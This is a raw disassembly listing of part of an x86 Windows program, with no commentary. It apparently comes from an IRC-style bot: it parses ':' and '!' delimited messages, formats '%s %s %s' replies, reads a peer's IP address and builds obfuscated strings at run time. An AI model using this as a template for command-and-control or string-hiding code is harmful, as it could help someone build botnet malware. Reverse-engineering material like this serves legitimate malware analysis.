		cmp	[esp+20h+var_D], bl
		jz	loc_411327
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_443C88 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_411327
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_443C88 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_443C88 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		mov	ecx, offset word_448C9E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40210D
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_411327
; ---------------------------------------------------------------------------


loc_411320:				; CODE XREF: sub_40FF60+391j
		mov	ecx, ebp
		call	sub_401D0C


loc_411327:				; CODE XREF: sub_40FF60+1D3j
					; sub_40FF60+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_40FFA2


loc_411330:				; CODE XREF: sub_40FF60+3Cj
					; sub_40FF60+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_40FF60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411860	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402054
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411860	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4118E0:				; CODE XREF: ___:loc_40115Ej
					; ___:004016EAj
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_4118F8
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_4118F8:				; CODE XREF: ___:004118EDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411910	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411910
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40196A
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411910	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411990	proc near		; CODE XREF: sub_402054j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411990	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411A50	proc near		; CODE XREF: sub_40196Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411A50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A50	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B10	proc near		; CODE XREF: sub_4019D3j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	[esp+4+arg_0], 1
		jz	short loc_411B28
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_411B28:				; CODE XREF: sub_411B10+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411B10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411B40	proc near		; CODE XREF: sub_401A0Aj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411B66
		lea	edi, [esi+11h]
		jmp	short loc_411B68
; ---------------------------------------------------------------------------


loc_411B66:				; CODE XREF: sub_411B40+1Fj
		xor	edi, edi


loc_411B68:				; CODE XREF: sub_411B40+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_411B40	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411BBC
		lea	ebx, [esi+11h]
		jmp	short loc_411BBE
; ---------------------------------------------------------------------------


loc_411BBC:				; CODE XREF: ___:00411BB5j
		xor	ebx, ebx


loc_411BBE:				; CODE XREF: ___:00411BBAj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C1B
		lea	ebx, [esi+11h]
		jmp	short loc_411C1D
; ---------------------------------------------------------------------------


loc_411C1B:				; CODE XREF: ___:00411C14j
		xor	ebx, ebx


loc_411C1D:				; CODE XREF: ___:00411C19j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017E4
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C70
		lea	ebx, [esi+11h]
		jmp	short loc_411C72
; ---------------------------------------------------------------------------


loc_411C70:				; CODE XREF: ___:00411C69j
		xor	ebx, ebx


loc_411C72:				; CODE XREF: ___:00411C6Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017E4
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CC5
		lea	ebx, [esi+11h]
		jmp	short loc_411CC7
; ---------------------------------------------------------------------------


loc_411CC5:				; CODE XREF: ___:00411CBEj
		xor	ebx, ebx


loc_411CC7:				; CODE XREF: ___:00411CC3j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D18
		lea	ebx, [esi+11h]
		jmp	short loc_411D1A
; ---------------------------------------------------------------------------


loc_411D18:				; CODE XREF: ___:00411D11j
		xor	ebx, ebx


loc_411D1A:				; CODE XREF: ___:00411D16j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017E4
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D71
		lea	ebx, [esi+11h]
		jmp	short loc_411D73
; ---------------------------------------------------------------------------


loc_411D71:				; CODE XREF: ___:00411D6Aj
		xor	ebx, ebx


loc_411D73:				; CODE XREF: ___:00411D6Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017E4
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DCF
		lea	ebx, [esi+11h]
		jmp	short loc_411DD1
; ---------------------------------------------------------------------------


loc_411DCF:				; CODE XREF: ___:00411DC8j
		xor	ebx, ebx


loc_411DD1:				; CODE XREF: ___:00411DCDj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E2A
		lea	ebx, [esi+11h]
		jmp	short loc_411E2C
; ---------------------------------------------------------------------------


loc_411E2A:				; CODE XREF: ___:00411E23j
		xor	ebx, ebx


loc_411E2C:				; CODE XREF: ___:00411E28j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017E4
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E85
		lea	ebx, [esi+11h]
		jmp	short loc_411E87
; ---------------------------------------------------------------------------


loc_411E85:				; CODE XREF: ___:00411E7Ej
		xor	ebx, ebx


loc_411E87:				; CODE XREF: ___:00411E83j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017E4
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411FE0	proc near		; CODE XREF: sub_401AB9j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411FE0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412509
		lea	ecx, [edi+26Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412509
		lea	ecx, [edi+0A1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4120E2
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		mov	edx, dword_447100
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset dword_443CEC
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_4120E2:				; CODE XREF: sub_411FE0+70j
		lea	ecx, [edi+187h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412159
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_412159:				; CODE XREF: sub_411FE0+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412214
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018A2
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412532
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_412214:				; CODE XREF: sub_411FE0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4122BD
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_447104
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_4122BD:				; CODE XREF: sub_411FE0+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41232B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017E4
		mov	edx, dword_447130
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS	; "%s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41232B:				; CODE XREF: sub_411FE0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41238D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E2E
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017E4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CE4
		push	edi
		call	sub_401E0B
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41238D:				; CODE XREF: sub_411FE0+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41242D
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41242D:				; CODE XREF: sub_411FE0+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412532
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016AE
		mov	ebx, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_447134
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CD4
		push	edi
		call	sub_401E0B
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412532
; ---------------------------------------------------------------------------


loc_412509:				; CODE XREF: sub_411FE0+3Aj
					; sub_411FE0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C9E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401537


loc_412532:				; CODE XREF: sub_411FE0+FDj
					; sub_411FE0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_411FE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4126B0	proc near		; CODE XREF: sub_401D39j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4126B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_401424
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5EDAB2
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_446F70
		call	sub_4015D7
		push	offset dword_443D18
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401A9B
		push	offset dword_443D14
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016BD
		push	offset dword_443D14
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401479
		add	esp, 4
		test	al, al
		jz	short loc_4127BB
		push	offset dword_443D08
		jmp	short loc_4127C0
; ---------------------------------------------------------------------------


loc_4127BB:				; CODE XREF: sub_4126B0+102j
		push	offset dword_443CFC


loc_4127C0:				; CODE XREF: sub_4126B0+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_4126B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412870	proc near		; CODE XREF: sub_401582j

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
